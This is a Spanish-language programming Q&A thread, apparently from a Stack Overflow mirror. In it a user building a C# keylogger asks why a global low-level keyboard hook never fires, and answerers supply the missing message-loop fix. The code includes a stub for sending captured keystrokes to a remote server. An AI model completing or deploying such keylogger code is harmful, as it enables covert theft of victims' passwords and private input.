2011-04-07 15 views
5

Estoy escribiendo un registrador de teclas en C#, pero estoy teniendo algunos problemas para obtener mi método de enlace llamado desde los eventos del teclado. Mi código parece correcto, pero por alguna razón la devolución de llamada no está sucediendo.No se ha llamado al gancho del teclado de nivel bajo en la aplicación .NET

Este es el código correspondiente:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr GetModuleHandle(string lpModuleName); 

private const int WH_KEYBOARD_LL = 13; 
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); 
private static IntPtr HookHandle = IntPtr.Zero; 

static void Main() 
{ 
    /* install low level global keyboard hook */ 
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0); 

    /* every 60 seconds, process collected keystrokes */ 
    for (;;) 
    { 
     Thread.Sleep(60000); 
     SendKeyData(); 
    } 
} 

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 
{ 
    /* code to handle key events would be here */ 

    return CallNextHookEx(HookHandle, nCode, wParam, lParam); 
} 

private static void SendKeyData() 
{ 
    /* code to send accumulated keystroke data to remote server would be here */ 
} 

La llamada SetWindowsHookEx devuelve un identificador (es decir, no un nulo) como debe ser, por lo que debería significar que está instalado, pero cuando pongo un punto de interrupción en HookCallback nunca se alcanza

¿Alguien puede por favor informar lo que puedo estar haciendo mal?

+1

¿Funciona si comenta el bloque 'for'? –

+0

No, el proceso simplemente termina inmediatamente si hago eso. –

+2

Probablemente sea una mejor práctica usar un temporizador en lugar de un ciclo infinito. Al menos con un temporizador puedes detenerlo si es necesario. – jlafay

Respuesta

4

Parece que está escribiendo una aplicación de consola. Debería ser una aplicación de formularios, ya que está manejando eventos de Windows. Solo oculta el formulario, y debería funcionar.

Como solución alternativa para aplicaciones de consola, se podría llamar Application.DoEvents() en su bucle:

for (;;) 
{ 
    Thread.Sleep(1); 
    Application.DoEvents(); //Process event queue 
    SendKeyData(); 
} 

Utilice este para el bien, no el mal.

+0

No duermas por un minuto, eso hará que pierdas el tiempo de espera del gancho. 45 mseg es un número feliz. Application.Run() es mejor. –

+0

¡Muchas gracias! La combinación de las respuestas de ambos me llevó a un resultado exitoso. No me di cuenta de que necesitaba un ciclo de mensajes explícitos. Ahora mi programa llama a Application.Run() para hacer eso, y el envío de datos clave se realiza usando un hilo separado a través de un BackgroundWorker (y la comunicación entre los dos hilos a través de la Cola Sincronizada). Actualizaré mi pregunta con el código de trabajo. –

+0

Si necesita usar 'sleep' use' sleep (1) '. Este código retrasa toda la entrada del teclado, y IMO tanto 45ms como @HansPassant sugirió, y 450ms son inaceptables. La solución correcta sería un despacho de mensaje de bloqueo, pero no hay idea de cómo hacerlo en una aplicación de consola en C# sin llamar directamente a las funciones de winapi. – CodesInChaos

0

intentar sustituir GetModuleHandle (nulo) con

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName) 

y ver si se hace el truco. Tenga en cuenta que tanto el objeto Process devuelto por GetCurrentProcess() como el objeto ProcessModule devuelto por MainModule son desechables, por lo que es posible que desee declararlos como variables y luego deshacerse de ellos manualmente; aún mejor, póngalos en un bloque using.

+0

Gracias por su respuesta, pero ese no era el problema, aunque inicialmente tuve un problema con los parámetros de SetWindowsHookEx, al poner erróneamente un parámetro para la identificación de la hebra cuando necesitaba el identificador del módulo del proceso actual para el enlace global. –

Cuestiones relacionadas